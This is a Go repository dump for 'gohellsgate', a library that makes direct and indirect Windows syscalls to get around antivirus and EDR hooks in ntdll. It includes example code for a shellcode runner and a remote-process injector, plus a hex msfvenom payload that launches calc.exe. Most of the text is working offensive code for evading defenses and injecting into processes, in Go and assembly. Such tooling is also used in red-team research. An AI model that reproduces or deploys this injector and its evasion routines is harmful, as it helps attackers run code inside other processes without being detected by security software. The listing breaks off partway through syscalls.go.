├── LICENSE ├── README.md ├── dirsys_amd64.s ├── example ├── main.go ├── shinj.go └── shrunner.go ├── go.mod ├── go.sum ├── indirsys_amd64.s └── syscalls.go /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. 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It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # gohellsgate 2 | 3 | A pure golang implementation of hellsgate. 4 | 5 | This library allows for both direct and indirect syscalls in golang. 6 | 7 | This is the best document out there to understand the technique https://github.com/am0nsec/HellsGate/blob/master/hells-gate.pdf 8 | 9 | Also this is a great resource https://github.com/C-Sto/BananaPhone. Stolen the bpSyscall function from this repo. This is a great way to avoid using VirtuallAlloc and CreateThread. 10 | 11 | ## Caveats 12 | 13 | It currently works only with Nt functions 14 | 15 | ## Usage 16 | ``` 17 | func gohellsgate.IndirectSyscall(ntapi string, argh ...uintptr) (errcode uint32, err error) 18 | func gohellsgate.Syscall(ntapi string, argh ...uintptr) (errcode uint32, err error) 19 | ``` 20 | 21 | I like to wrap the syscall function in its own function but you don't have to. This is my implementation of NtAllocateVirtualMemorySyscall 22 | 23 | 24 | In the main function 25 | ``` 26 | addr, err := NtAllocateVirtualMemorySyscall("NtAllocateVirtualMemory", uintptr(pHandle), uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, flProtect, verbose) 27 | if err != nil { 28 | return fmt.Errorf("NtAllocateVirtualMemorySyscall: Failed to allocate memory %v\n", err) 29 | } 30 | ``` 31 | 32 | Wrapper function. If you would like to use a direct syscall instead of indirect simply change from gohellsgate.IndrectSyscall to gohellsgate.Syscall 33 | ``` 34 | func NtAllocateVirtualMemorySyscall(ntapi string, handle uintptr, length uintptr, alloctype int, protect int, verbose bool) (uintptr, error) { 35 | /* 36 | __kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory( 37 | [in] HANDLE ProcessHandle, 1 38 | [in, out] PVOID *BaseAddress, 2 39 | [in] ULONG_PTR ZeroBits, 3 40 | [in, out] PSIZE_T RegionSize, 4 41 | [in] ULONG AllocationType,5 42 | [in] ULONG Protect 6 43 | );*/ 44 | // syscall for NtAllocateVirtualMemory 45 | 46 | var BaseAddress uintptr 47 | 48 | err1, err := gohellsgate.IndirectSyscall( 49 | ntapi, 50 | uintptr(unsafe.Pointer(handle)), //1 51 | uintptr(unsafe.Pointer(&BaseAddress)), //2 52 | 0, //3 53 | uintptr(unsafe.Pointer(&length)), //4 54 | uintptr(0x3000), //5 55 | 0x40, //6 56 | ) 57 | if err != nil { 58 | return 0, fmt.Errorf("1 %s %x\n", err, err1) 59 | } 60 | if verbose { 61 | fmt.Printf("[+] Allocated address from NtAllocateVirtualMemory %p\n", unsafe.Pointer(BaseAddress)) 62 | } 63 | 64 | return BaseAddress, nil 65 | } 66 | 67 | ``` 68 | -------------------------------------------------------------------------------- /dirsys_amd64.s: -------------------------------------------------------------------------------- 1 | 2 | //based on https://golang.org/src/runtime/sys_windows_amd64.s 3 | // taken from https://github.com/C-Sto/BananaPhone/blob/916e63b713df4c296464d75050490581d192cf13/pkg/BananaPhone/asm_x64.s 4 | #include "textflag.h" 5 | #define maxargs 16 6 | //func Syscall(callid uint16, argh ...uintptr) (uint32, error) 7 | TEXT ·bpSyscall(SB), $0-56 8 | XORQ AX,AX 9 | MOVW callid+0(FP), AX 10 | PUSHQ CX 11 | //put variadic size into CX 12 | MOVQ argh_len+16(FP),CX 13 | //put variadic pointer into SI 14 | MOVQ argh_base+8(FP),SI 15 | // SetLastError(0). 16 | MOVQ 0x30(GS), DI 17 | MOVL $0, 0x68(DI) 18 | SUBQ $(maxargs*8), SP // room for args 19 | // Fast version, do not store args on the stack. 20 | CMPL CX, $4 21 | JLE loadregs 22 | // Check we have enough room for args. 23 | CMPL CX, $maxargs 24 | JLE 2(PC) 25 | INT $3 // not enough room -> crash 26 | // Copy args to the stack. 27 | MOVQ SP, DI 28 | CLD 29 | REP; MOVSQ 30 | MOVQ SP, SI 31 | //move the stack pointer????? why???? 32 | SUBQ $8, SP 33 | loadregs: 34 | // Load first 4 args into correspondent registers. 35 | MOVQ 0(SI), CX 36 | MOVQ 8(SI), DX 37 | MOVQ 16(SI), R8 38 | MOVQ 24(SI), R9 39 | // Floating point arguments are passed in the XMM 40 | // registers. Set them here in case any of the arguments 41 | // are floating point values. For details see 42 | // https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx 43 | MOVQ CX, X0 44 | MOVQ DX, X1 45 | MOVQ R8, X2 46 | MOVQ R9, X3 47 | //MOVW callid+0(FP), AX 48 | MOVQ CX, R10 49 | SYSCALL 50 | ADDQ $((maxargs+1)*8), SP 51 | // Return result. 52 | POPQ CX 53 | MOVL AX, errcode+32(FP) 54 | RET 55 | 56 | -------------------------------------------------------------------------------- /example/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/hex" 5 | "fmt" 6 | ) 7 | 8 | func main() { 9 | 10 | //msfvenom -p windows/x64/exec CMD=calc.exe -f hex 11 | sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500") 12 | 13 | // Shellcode Runner using indirect syscalls 14 | /*err := ShellcodeRunnerSyscalls(sc, true, true) 15 | if err != nil { 16 | fmt.Print(err) 17 | }*/ 18 | 19 | // Shellcode Injector using indirect syscalls 20 | 21 | err := ShellcodeInjectorSyscalls(28456, sc, true, true) //replace with the right PID 22 | if err != nil { 23 | fmt.Print(err) 24 | } 25 | 26 | } 27 | -------------------------------------------------------------------------------- /example/shinj.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "unsafe" 6 | 7 | "github.com/scriptchildie/gohellsgate" 8 | 9 | "golang.org/x/sys/windows" 10 | ) 11 | 12 | func ShellcodeInjectorSyscalls(pid uint32, sc []byte, rwx bool, verbose bool) error { 13 | var flProtect int 14 | 15 | const PROCESS_ALL_ACCESS = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF 16 | 17 | pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, uint32(pid)) 18 | if err != nil { 19 | return fmt.Errorf("Failed to get a handle on process with pid: %d : %v", pid, err) 20 | } 21 | 22 | BaseAddress, err := NtAllocateVirtualMemorySyscall("NtAllocateVirtualMemory", uintptr(pHandle), uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, flProtect, verbose) 23 | if err != nil { 24 | return fmt.Errorf("NtAllocateVirtualMemorySyscall: Failed to allocate memory %v\n", err) 25 | } 26 | 27 | err = NtWriteVirtualMemory("NtWriteVirtualMemory", uintptr(pHandle), BaseAddress, sc, verbose) 28 | if err != nil { 29 | return fmt.Errorf("NtWriteVirtualMemory: Failed to write shellcode to memory %v\n", err) 30 | } 31 | 32 | if !rwx { 33 | if verbose { 34 | fmt.Println("[+] Changing Permissions to RX") 35 | } 36 | var oldProtect uint32 37 | 38 | err = NtProtectVirtualMemory("NtProtectVirtualMemory", uintptr(pHandle), BaseAddress, uintptr(len(sc)), uintptr(windows.PAGE_EXECUTE_READ), uintptr(unsafe.Pointer(&oldProtect)), true) 39 | if err != nil { 40 | return fmt.Errorf("NtProtectVirtualMemory Failed: %v", err) 41 | } 42 | } 43 | 44 | _, err = NtCreateThreadEx("NtCreateThreadEx", uintptr(pHandle), BaseAddress, verbose) 45 | if err != nil { 46 | return fmt.Errorf("NtCreateThreadEx: Failed to create remote thread %v\n", err) 47 | } 48 | 49 | return nil 50 | } 51 | 52 | func NtWriteVirtualMemory(ntapi string, handle, BaseAddress uintptr, shc []byte, verbose bool) error { 53 | /* 54 | NtWriteVirtualMemory( 55 | IN 56 | 57 | ProcessHandle, 1 58 | IN PVOID BaseAddress, 2 59 | IN PVOID Buffer, 3 60 | IN ULONG NumberOfBytesToWrite, 4 61 | OUT PULONG NumberOfBytesWritten OPTIONAL ); 5 62 | */ 63 | var NumberOfBytesWritten uintptr 64 | 65 | NumberOfBytesToWrite := uintptr(len(shc)) 66 | 67 | if verbose { 68 | fmt.Printf("[+] NtWriteVirtualMemory number of bytes to write: 0x%x\n", NumberOfBytesToWrite) 69 | } 70 | err1, err := gohellsgate.IndirectSyscall( 71 | ntapi, 72 | handle, //1 73 | uintptr(unsafe.Pointer(BaseAddress)), //2 74 | uintptr(unsafe.Pointer(&shc[0])), //3 75 | NumberOfBytesToWrite, //4 76 | uintptr(unsafe.Pointer(&NumberOfBytesWritten)), //5 77 | ) 78 | if err != nil { 79 | return fmt.Errorf("1 %s %x\n", err, err1) 80 | } 81 | if verbose { 82 | fmt.Printf("[+] NtWriteVirtualMemory number of bytes written: 0x%x\n", NumberOfBytesWritten) 83 | } 84 | 85 | return nil 86 | } 87 | -------------------------------------------------------------------------------- /example/shrunner.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "github.com/scriptchildie/gohellsgate" 6 | "syscall" 7 | "unsafe" 8 | 9 | "golang.org/x/sys/windows" 10 | ) 11 | 12 | func ShellcodeRunnerSyscalls(sc []byte, rwx bool, verbose bool) error { 13 | modntdll := syscall.NewLazyDLL("Ntdll.dll") 14 | procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory") 15 | 16 | //var nullRef int 17 | var flProtect int 18 | 19 | size := len(sc) 20 | 21 | if rwx { 22 | if verbose { 23 | fmt.Println("[+] Memory Permissions will be set to RWX") 24 | } 25 | flProtect = windows.PAGE_EXECUTE_READWRITE 26 | } else { 27 | if verbose { 28 | fmt.Println("[+] Memory Permissions will be set to RW") 29 | } 30 | flProtect = windows.PAGE_READWRITE 31 | } 32 | 33 | if verbose { 34 | fmt.Println("[+] Allocating memory for shellcode") 35 | } 36 | 37 | pHandle, err := windows.GetCurrentProcess() 38 | if err != nil { 39 | return fmt.Errorf("Unable to get a handle on current process") 40 | } 41 | 42 | if verbose { 43 | fmt.Println("[+] Allocating memory for shellcode using NtAllocateVirtualMemory") 44 | } 45 | addr, err := NtAllocateVirtualMemorySyscall("NtAllocateVirtualMemory", uintptr(pHandle), uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, flProtect, verbose) 46 | if err != nil { 47 | return fmt.Errorf("NtAllocateVirtualMemorySyscall: Failed to allocate memory %v\n", err) 48 | } 49 | if verbose { 50 | fmt.Printf("[+] Allocated Memory Address: %p\n", unsafe.Pointer(addr)) 51 | } 52 | procrtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(size)) 53 | if verbose { 54 | fmt.Println("[+] Wrote shellcode bytes to destination address") 55 | } 56 | 57 | //time.Sleep(10 * time.Second) 58 | if !rwx { 59 | if verbose { 60 | fmt.Println("[+] Changing Permissions to RX") 61 | } 62 | var oldProtect uint32 63 | 64 | err = NtProtectVirtualMemory("NtProtectVirtualMemory", uintptr(pHandle), addr, uintptr(size), uintptr(windows.PAGE_EXECUTE_READ), uintptr(unsafe.Pointer(&oldProtect)), true) 65 | if err != nil { 66 | return fmt.Errorf("NtProtectVirtualMemory Failed: %v", err) 67 | } 68 | } 69 | 70 | _, err = NtCreateThreadEx("NtCreateThreadEx", uintptr(pHandle), addr, verbose) 71 | if err != nil { 72 | return fmt.Errorf("NtCreateThreadEx: Failed to create remote thread %v\n", err) 73 | } 74 | 75 | return nil 76 | } 77 | 78 | func NtAllocateVirtualMemorySyscall(ntapi string, handle uintptr, length uintptr, alloctype int, protect int, verbose bool) (uintptr, error) { 79 | /* 80 | __kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory( 81 | [in] HANDLE ProcessHandle, 1 82 | [in, out] PVOID *BaseAddress, 2 83 | [in] ULONG_PTR ZeroBits, 3 84 | [in, out] PSIZE_T RegionSize, 4 85 | [in] ULONG AllocationType,5 86 | [in] ULONG Protect 6 87 | );*/ 88 | // syscall for NtAllocateVirtualMemory 89 | 90 | var BaseAddress uintptr 91 | 92 | err1, err := gohellsgate.IndirectSyscall( 93 | ntapi, 94 | uintptr(unsafe.Pointer(handle)), //1 95 | uintptr(unsafe.Pointer(&BaseAddress)), //2 96 | 0, //3 97 | uintptr(unsafe.Pointer(&length)), //4 98 | uintptr(0x3000), //5 99 | 0x40, //6 100 | ) 101 | if err != nil { 102 | return 0, fmt.Errorf("1 %s %x\n", err, err1) 103 | } 104 | if verbose { 105 | fmt.Printf("[+] Allocated address from NtAllocateVirtualMemory %p\n", unsafe.Pointer(BaseAddress)) 106 | } 107 | 108 | return BaseAddress, nil 109 | } 110 | 111 | func NtProtectVirtualMemory(ntapi string, handle, addr uintptr, size uintptr, flNewProtect uintptr, lpflOldProtect uintptr, verbose bool) error { 112 | err1, err := gohellsgate.IndirectSyscall( 113 | ntapi, 114 | handle, 115 | uintptr(unsafe.Pointer(&addr)), 116 | uintptr(unsafe.Pointer(&size)), 117 | flNewProtect, 118 | lpflOldProtect, 119 | ) 120 | if err != nil { 121 | return fmt.Errorf("1 %s %x\n", err, err1) 122 | } 123 | if verbose { 124 | fmt.Println("[+] Changed memory permissions") 125 | } 126 | return nil 127 | } 128 | 129 | func NtCreateThreadEx(ntapi string, handle, BaseAddress uintptr, verbose bool) (uintptr, error) { 130 | 131 | /* 132 | typedef NTSTATUS(NTAPI* pNtCreateThreadEx) ( 133 | OUT PHANDLE hThread, 1 134 | IN ACCESS_MASK DesiredAccess, 2 135 | IN PVOID ObjectAttributes, 3 136 | IN HANDLE ProcessHandle, 4 137 | IN PVOID lpStartAddress, 5 138 | IN PVOID lpParameter, 6 139 | IN ULONG Flags, 7 140 | IN SIZE_T StackZeroBits, 8 141 | IN SIZE_T SizeOfStackCommit, 9 142 | IN SIZE_T SizeOfStackReserve, 10 143 | OUT PVOID lpBytesBuffer 11 144 | ); 145 | */ 146 | 147 | var hThread uintptr 148 | DesiredAccess := uintptr(0x1FFFFF) 149 | err1, err := gohellsgate.IndirectSyscall( 150 | ntapi, 151 | uintptr(unsafe.Pointer(&hThread)), //1 152 | DesiredAccess, //2 153 | 0, //3 154 | uintptr(unsafe.Pointer(handle)), //4 155 | uintptr(unsafe.Pointer(BaseAddress)), //5 156 | 0, //6 157 | uintptr(0), //7 158 | 0, //8 159 | 0, //9 160 | 0, //10 161 | 0, 162 | ) 163 | if err != nil { 164 | return 0, fmt.Errorf("1 %s %x\n", err, err1) 165 | } 166 | 167 | if verbose { 168 | fmt.Printf("[+] Thread Handle: 0x%v\n", hThread) 169 | } 170 | syscall.WaitForSingleObject(syscall.Handle(hThread), 0xffffffff) 171 | return hThread, nil 172 | } 173 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/scriptchildie/gohellsgate 2 | 3 | go 1.19 4 | 5 | require golang.org/x/sys v0.4.0 6 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | golang.org/x/sys v0.4.0 h1:Zr2JFtRQNX3BCZ8YtxRE9hNJYC8J6I1MVbMg6owUp18= 2 | golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 3 | -------------------------------------------------------------------------------- /indirsys_amd64.s: -------------------------------------------------------------------------------- 1 | // Copied from : https://raw.githubusercontent.com/f1zm0/acheron/main/syscall_amd64.s 2 | #include "textflag.h" 3 | 4 | #define maxargs 16 5 | 6 | // syscalls implementation is a mix of: 7 | // - https://golang.org/src/runtime/sys_windows_amd64.s 8 | // - https://github.com/C-Sto/BananaPhone/blob/master/pkg/BananaPhone/asm_x64.s#L96 9 | // with custom modifications to support indirect syscall execution 10 | // via a trampoline (syscall;ret instruction) in ntdll.dll 11 | 12 | // return type is a 32-bit datatype, as per NTSTATUS definition (https://msdn.microsoft.com/en-us/library/cc704588.aspx) 13 | // but we use an unsigned integer instead of LONG (int32), since working with uint types is easier in Go 14 | 15 | 16 | // func execIndirectSyscall(ssn uint16, trampoline uintptr, argh ...uintptr) uint32 17 | TEXT ·execIndirectSyscall(SB),NOSPLIT, $0-40 18 | XORQ AX, AX 19 | MOVW ssn+0(FP), AX 20 | 21 | XORQ R11, R11 22 | MOVQ trampoline+8(FP), R11 23 | 24 | PUSHQ CX 25 | 26 | //put variadic pointer into SI 27 | MOVQ argh_base+16(FP),SI 28 | 29 | //put variadic size into CX 30 | MOVQ argh_len+24(FP),CX 31 | 32 | // SetLastError(0). 33 | MOVQ 0x30(GS), DI 34 | MOVL $0, 0x68(DI) 35 | 36 | // room for args 37 | SUBQ $(maxargs*8), SP 38 | 39 | //no parameters, special case 40 | CMPL CX, $0 41 | JLE jumpcall 42 | 43 | // Fast version, do not store args on the stack. 44 | CMPL CX, $4 45 | JLE loadregs 46 | 47 | // Check we have enough room for args. 48 | CMPL CX, $maxargs 49 | JLE 2(PC) 50 | 51 | // not enough room -> crash 52 | INT $3 53 | 54 | // Copy args to the stack. 55 | MOVQ SP, DI 56 | CLD 57 | REP; MOVSQ 58 | MOVQ SP, SI 59 | 60 | loadregs: 61 | 62 | // Load first 4 args into correspondent registers. 63 | MOVQ 0(SI), CX 64 | MOVQ 8(SI), DX 65 | MOVQ 16(SI), R8 66 | MOVQ 24(SI), R9 67 | 68 | // Floating point arguments are passed in the XMM registers 69 | // Set them here in case any of the arguments are floating point values. 70 | // For details see: https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx 71 | MOVQ CX, X0 72 | MOVQ DX, X1 73 | MOVQ R8, X2 74 | MOVQ R9, X3 75 | 76 | jumpcall: 77 | MOVQ CX, R10 78 | 79 | //jump to syscall;ret gadget address instead of direct syscall 80 | CALL R11 81 | 82 | ADDQ $((maxargs)*8), SP 83 | 84 | // Return result 85 | POPQ CX 86 | MOVL AX, errcode+40(FP) 87 | RET 88 | -------------------------------------------------------------------------------- /syscalls.go: -------------------------------------------------------------------------------- 1 | package gohellsgate 2 | 3 | import ( 4 | "fmt" 5 | "sort" 6 | "strings" 7 | "unsafe" 8 | 9 | "golang.org/x/sys/windows" 10 | ) 11 | 12 | type dllstruct struct { 13 | name string 14 | address uintptr 15 | } 16 | 17 | type Exportfunc struct { 18 | funcRVA uint32 19 | nameRVA uint32 20 | name string 21 | syscallno byte 22 | tramboline uintptr 23 | } 24 | 25 | type IMAGE_EXPORT_DIRECTORY struct { //offsets 26 | Characteristics uint32 // 0x0 27 | TimeDateStamp uint32 // 0x4 28 | MajorVersion uint16 // 0x8 29 | MinorVersion uint16 // 0xa 30 | Name uint32 // 0xc 31 | Base uint32 // 0x10 32 | NumberOfFunctions uint32 // 0x14 33 | NumberOfNames uint32 // 0x18 34 | AddressOfFunctions uint32 // 0x1c 35 | AddressOfNames uint32 // 0x20 36 | AddressOfNameOrdinals uint32 // 0x24 37 | } 38 | 39 | var exports []Exportfunc 40 | 41 | func getSyscalls() (err error) { 42 | 43 | exports, err = GetModuleExports("ntdll.dll") 44 | if err != nil { 45 | return fmt.Errorf("Failed to get Exports: %v", err) 46 | } 47 | GetSyscallNumbers(&exports) 48 | UnhookSyscalls(&exports) 49 | return nil 50 | 51 | } 52 | 53 | func checkExports(verbose bool) error { 54 | if len(exports) == 0 { 55 | 56 | if verbose { 57 | fmt.Println("[!] Unable to find syscalls table. Resolving syscalls and Generating table...") 58 | } 59 | err := getSyscalls() 60 | if err != nil { 61 | return err 62 | } 63 | } 64 | return nil 65 | } 66 | 67 | // Syscall calls the system function specified by callid with n arguments. Works much the same as syscall.Syscall - return value is the call error code and optional error text. All args are uintptrs to make it easy. 68 | func Syscall(ntapi string, argh ...uintptr) (errcode uint32, err error) { 69 | 70 | err = checkExports(true) 71 | if err != nil { 72 | return 0, err 73 | } 74 | callid, _, err := GetSyscallFromName(ntapi, &exports) 75 | if err != nil { 76 | return 0, fmt.Errorf("Failed to get syscall for %s %v\n", ntapi, err) 77 | } 78 | 79 | errcode = bpSyscall(uint16(callid), argh...) 80 | 81 | if errcode != 0 { 82 | err = fmt.Errorf("non-zero return from syscall") 83 | } 84 | return errcode, err 85 | } 86 | 87 | // Syscall calls the system function specified by callid with n arguments. Works much the same as syscall.Syscall - return value is the call error code and optional error text. All args are uintptrs to make it easy. 88 | func bpSyscall(callid uint16, argh ...uintptr) (errcode uint32) 89 | 90 | func IndirectSyscall(ntapi string, argh ...uintptr) (errcode uint32, err error) { 91 | err = checkExports(false) 92 | if err != nil { 93 | return 0, err 94 | } 95 | 96 | callid, tramboline, err := GetSyscallFromName(ntapi, &exports) 97 | if err != nil { 98 | return 0, fmt.Errorf("Failed to get syscall for %s %v\n", ntapi, err) 99 | } 100 | 101 | errcode = execIndirectSyscall(uint16(callid), tramboline, argh...) 102 | 103 | if errcode != 0 { 104 | err = fmt.Errorf("non-zero return from syscall") 105 | } 106 | return errcode, err 107 | } 108 | 109 | func execIndirectSyscall(callid uint16, tramboline uintptr, argh ...uintptr) (errcode uint32) 110 | 111 | func GetSyscallFromName(function string, exports *[]Exportfunc) (byte, uintptr, error) { 112 | for _, exFunc := range *exports { 113 | if function == exFunc.name { 114 | return exFunc.syscallno, exFunc.tramboline, nil 115 | } 116 | } 117 | return 0x0, 0, fmt.Errorf("Unable to find Syscall Function") 118 | } 119 | 120 | // Beta Version, This needs a lot of testing. I only tested this on win11 x64 and limited AVs 121 | func UnhookSyscalls(exports *[]Exportfunc) error { 122 | var lastGood byte 123 | lastGood = 0x0 124 | for i, exFunc := range *exports { 125 | //fmt.Printf("Func RVA: %x , nameRVA: %x , name: %s, syscallno : %x\n", exFunc.funcRVA, exFunc.nameRVA, exFunc.name, exFunc.syscallno) 126 | if exFunc.syscallno == 0xff { 127 | //fmt.Println("-------------------------------------------") 128 | if lastGood == 0x0 { 129 | exFunc.syscallno = lastGood 130 | } else { 131 | exFunc.syscallno = lastGood + 0x1 132 | } 133 | (*exports)[i] = exFunc 134 | } else { 135 | lastGood = exFunc.syscallno 136 | } 137 | // fmt.Printf("Func RVA: %x , nameRVA: %x , name: %s, syscallno : %x\n", exFunc.funcRVA, exFunc.nameRVA, exFunc.name, exFunc.syscallno) 138 | } 139 | return nil 140 | } 141 | 142 | // Find address in ntdll with the following opcodes "\x0F\x05\xC3" syscall;ret; 143 | /*func GetSyscallAddr(exports *[]Exportfunc) (uintptr, error) { 144 | fAddress := (*exports)[1].funcRVA 145 | baddr, err := GetBaseAddrOfLoadedDll("ntdll.dll") 146 | if err != nil { 147 | return 0, err 148 | } 149 | 150 | for { 151 | if *(*byte)(unsafe.Pointer(baddr + uintptr(fAddress))) == 0x0F { 152 | if *(*byte)(unsafe.Pointer(baddr + uintptr(fAddress+1))) == 0x05 { 153 | if *(*byte)(unsafe.Pointer(baddr + uintptr(fAddress+2))) == 0xc3 { 154 | return baddr + uintptr(fAddress), nil 155 | } 156 | } 157 | } 158 | fAddress += 1 159 | } 160 | return baddr + uintptr(fAddress), nil 161 | }*/ 162 | 163 | func GetSyscallNumbers(exports *[]Exportfunc) error { 164 | baddr, err := GetBaseAddrOfLoadedDll("ntdll.dll") 165 | if err != nil { 166 | return err 167 | } 168 | //derefslice := []exportfunc{} 169 | 170 | sort.SliceStable(*exports, func(i, j int) bool { 171 | return (*exports)[i].funcRVA < (*exports)[j].funcRVA 172 | }) 173 | 174 | for i, exFunc := range *exports { 175 | funcAA := baddr + uintptr(exFunc.funcRVA) 176 | funcbytes := (*[5]byte)(unsafe.Pointer(funcAA))[:] 177 | 178 | if funcbytes[0] == 0x4c && funcbytes[1] == 0x8b && funcbytes[2] == 0xd1 && funcbytes[3] == 0xb8 { // Check if the function is hooked. 179 | exFunc.syscallno = funcbytes[4] // Get Syscall Number 180 | } else { 181 | exFunc.syscallno = 0xff // when hooked set the syscall number 0xff 182 | } 183 | (*exports)[i] = exFunc 184 | //fmt.Printf("Func RVA: %x , nameRVA: %x , name: %s, syscallno : %x\n", exFunc.funcRVA, exFunc.nameRVA, exFunc.name, exFunc.syscallno) 185 | 186 | } 187 | 188 | return nil 189 | } 190 | 191 | // Loops through the exports and returns it into a slice 192 | // Any future queries or any unhooking will be happening on the slice and not the dll itself 193 | func GetModuleExports(name string) ([]Exportfunc, error) { 194 | 195 | exp, err := GetImageExportDirectory(name) 196 | if err != nil { 197 | return nil, err 198 | } 199 | baddr, err := GetBaseAddrOfLoadedDll(name) 200 | if err != nil { 201 | return nil, err 202 | } 203 | funcSlice := []Exportfunc{} 204 | for i := 0; i < int(exp.NumberOfNames); i++ { 205 | funcRVA := *((*uint32)(unsafe.Pointer(baddr + (uintptr(exp.AddressOfFunctions) + uintptr((i+1)*0x4))))) 206 | nameRVA := *((*uint32)(unsafe.Pointer(baddr + (uintptr(exp.AddressOfNames) + uintptr(i*0x4))))) 207 | nameAddr := baddr + uintptr(nameRVA) 208 | nameRVAbyte := (*[4]byte)(unsafe.Pointer(nameAddr))[:] 209 | name := windows.BytePtrToString(&nameRVAbyte[0]) 210 | 211 | var absAddress uintptr 212 | absAddress = baddr + uintptr(funcRVA) 213 | for j := 0; j < 100; j++ { 214 | if *(*byte)(unsafe.Pointer(absAddress)) == 0x0f { 215 | if *(*byte)(unsafe.Pointer(absAddress + 1)) == 0x05 { 216 | if *(*byte)(unsafe.Pointer(absAddress + 2)) == 0xc3 { 217 | break 218 | } 219 | } 220 | } 221 | absAddress += 1 222 | } 223 | 224 | if strings.HasPrefix(name, "Nt") { // || strings.HasPrefix(name, "Zw") <= Might use this to compare /unhook the NT functions 225 | funcSlice = append(funcSlice, Exportfunc{ 226 | funcRVA: funcRVA, 227 | nameRVA: nameRVA, 228 | name: name, 229 | tramboline: absAddress, 230 | }) 231 | //fmt.Printf("Func RVA: %x , nameRVA: %x , name: %s, trambo: %x\n ", funcRVA, nameRVA, name, absAddress) 232 | 233 | } 234 | 235 | } 236 | return funcSlice, nil 237 | } 238 | 239 | // Get Image Export directory. We are interested in 240 | // - AddressofFunctions 241 | // - AddressOfNames 242 | // - AddressOFNameOrdinals (maybe in the future) 243 | // - Number of functions 244 | func GetImageExportDirectory(name string) (*IMAGE_EXPORT_DIRECTORY, error) { 245 | var img_exp_dir IMAGE_EXPORT_DIRECTORY 246 | export, err := getExportTableAddress(name) 247 | if err != nil { 248 | return nil, err 249 | } 250 | img_exp_dir.Characteristics = *((*uint32)(unsafe.Pointer(export))) 251 | img_exp_dir.TimeDateStamp = *((*uint32)(unsafe.Pointer(export + 0x4))) 252 | img_exp_dir.MajorVersion = *((*uint16)(unsafe.Pointer(export + 0x8))) 253 | img_exp_dir.MinorVersion = *((*uint16)(unsafe.Pointer(export + 0xa))) 254 | img_exp_dir.Name = *((*uint32)(unsafe.Pointer(export + 0xc))) 255 | img_exp_dir.Base = *((*uint32)(unsafe.Pointer(export + 0x10))) 256 | img_exp_dir.NumberOfFunctions = *((*uint32)(unsafe.Pointer(export + 0x14))) 257 | img_exp_dir.NumberOfNames = *((*uint32)(unsafe.Pointer(export + 0x18))) 258 | img_exp_dir.AddressOfFunctions = *((*uint32)(unsafe.Pointer(export + 0x1c))) 259 | img_exp_dir.AddressOfNames = *((*uint32)(unsafe.Pointer(export + 0x20))) 260 | img_exp_dir.AddressOfNameOrdinals = *((*uint32)(unsafe.Pointer(export + 0x24))) 261 | return &img_exp_dir, nil 